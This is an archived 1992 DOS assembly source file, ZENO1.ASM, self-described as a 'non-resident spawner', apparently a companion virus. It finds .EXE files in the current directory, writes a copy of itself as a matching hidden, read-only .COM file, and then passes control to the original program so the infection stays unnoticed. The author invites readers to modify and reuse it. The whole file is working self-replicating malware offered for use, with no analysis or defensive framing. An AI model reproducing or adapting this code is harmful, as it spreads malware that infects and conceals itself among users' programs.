home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ZENO1.ASM < prev    next >
Assembly Source File  |  1992-10-04  |  4KB  |  175 lines

  1. ;NON-RESIDENT SPAWNER
  2.  
  3. ; I threw this thing together in less than an hour and haven't looked
  4. ; at it since so yes, I know it needs real work. Mangle and change as
  5. ; you please. The original goal was to create the smallest spawner but
  6. ; I got bored with the whole thing. Some of the code was taken from
  7. ; the source code to Directory Magic by pcmag. Have phun....
  8.  
  9.  
  10.  
  11.  
  12.  
  13. CSEG        SEGMENT
  14.         ASSUME    CS:CSEG,DS:NOTHING
  15.  
  16.         ORG    100H    ;Beginning for .COM programs
  17.  
  18. START:    JMP MY_BEGIN    ;Initialization code is at end
  19.  
  20.  
  21. wild            DB  "*.EXE",0
  22. file_Ext        DB  "COM",0
  23. file_found      DB  12 DUP(' '), 0
  24. file_create     DB  12 DUP(' '), 0
  25. search_attrib   DW  17H
  26. num_infect      dw  0
  27.  
  28. my_cmd:
  29. Cmd_len         db  13
  30. file_clone      db  12 DUP (' '), 0
  31.  
  32.         ASSUME    CS:CSEG, DS:CSEG, ES:NOTHING
  33.  
  34. ;------------------------------------------------------------------;
  35. Prepare_command:
  36.            cld
  37.            mov    di,OFFSET file_clone
  38.            mov    al,0
  39.            mov    cx,12
  40.            repne scasb          ; find the end of string \0
  41.  
  42.            mov    al,0Dh        ; <CR>
  43.            stosb                ; replace \0 with a <CR>
  44.  
  45.            mov    ax,12         ;store length of the command
  46.            sub    ax,cx
  47.            mov    cmd_len, al
  48.            ret
  49.  
  50. ;------------------------------------------------------------------;
  51. Store_name:
  52.  
  53.            MOV    DI,OFFSET file_found   ;Point to buffer.
  54.            MOV    SI,158
  55.            MOV    CX,12
  56.            REP MOVSB
  57.  
  58.            MOV    DI,OFFSET file_create  ;Point to buffer.
  59.            MOV    SI,158
  60.            MOV    CX,12
  61.            REP MOVSB
  62.  
  63.            cld
  64.            mov    di,OFFSET file_create
  65.            mov    al,'.'
  66.            mov    cx,9
  67.            repne scasb                   ;find the '.'
  68.  
  69.            mov    si,OFFSET file_ext
  70.            mov    cx,3
  71.            rep movsb                     ;replace the .EXE with .COM
  72.  
  73.            ret
  74.  
  75.  
  76. ;------------------------------------------------------------------;
  77. ;Does the file exist?
  78.  
  79. Check_file:
  80.            mov    dx,OFFSET file_create
  81.            mov    cx,0
  82.            mov    ax,3d00h        ; Open file read only
  83.            int    21h
  84.  
  85. Chk_done:
  86.            ret
  87.  
  88. ;------------------------------------------------------------------;
  89. Infect_file:
  90. ;Create file
  91.            mov    dx,OFFSET file_create
  92.            mov    cx,0
  93.            mov    ah,3ch
  94.            int    21h
  95.            jc     EXIT
  96.  
  97. ;Write to file
  98.            mov    bx,ax
  99.            mov    cx,(OFFSET END_OF_CODE - OFFSET START)
  100.            mov    dx,OFFSET START
  101.            mov    ah,40h
  102.            int    21h
  103.  
  104. ;Close file
  105.            mov    ah,3eh    ; ASSUMES bx still has file handle
  106.            int    21h
  107.  
  108. ;Change attributes
  109.            mov    dx,OFFSET file_create
  110.            mov    cx,3          ;(1) read only, (2) hidden, (4) system
  111.            mov    ax,4301h
  112.            int    21h
  113.  
  114.            ret
  115.  
  116. ;------------------------------------------------------------------;
  117. ; Read all the directory filenames and store as records in buffer. ;
  118. ;------------------------------------------------------------------;
  119.  
  120. MY_BEGIN:
  121.                mov    sp,offset STACK_HERE      ;move stack down
  122.                mov    bx,sp
  123.                add    bx,15
  124.                mov    cl,4
  125.                shr    bx,cl
  126.                mov    ah,4ah                  ;deallocate rest of memory
  127.                int    21h
  128.  
  129.                MOV    DI,OFFSET file_clone ;Point to buffer.
  130.            MOV    SI,OFFSET file_found
  131.            MOV    CX,12
  132.            REP MOVSB
  133.  
  134. READ_DIR:      MOV    DX,OFFSET wild
  135.            MOV    CX,search_attrib
  136.  
  137.            MOV    AH,4EH     ; This finds the first matching file.
  138.            INT    21H
  139.  
  140.            JC     EXIT                   ;If empty directory, exit.
  141.  
  142. Do_file:
  143.            call   Store_name
  144.  
  145.            call   Check_file
  146.            jnc    seek_another  ; CF = 0, shadow already there... skip it
  147.  
  148.            call   Infect_file
  149.            jmp    Exit
  150.  
  151. seek_another:
  152.  
  153. find_next:
  154.            mov   ah,4fh
  155.            int   21h
  156.            jmp   Do_file
  157.  
  158. EXIT:
  159.  
  160. ;Run the original program
  161.            call   Prepare_command
  162.            mov    si, OFFSET my_cmd
  163.            int    2Eh                 ;Pass command to command
  164.                       ; interpreter for execution
  165. ;Exit to DOS
  166.            MOV    AX,4C00H
  167.            INT    21H
  168.  
  169. END_OF_CODE    =    $
  170.  
  171. STACK_HERE    EQU   END_OF_CODE + 512
  172.  
  173. CSEG        ENDS
  174.         END    START
  175.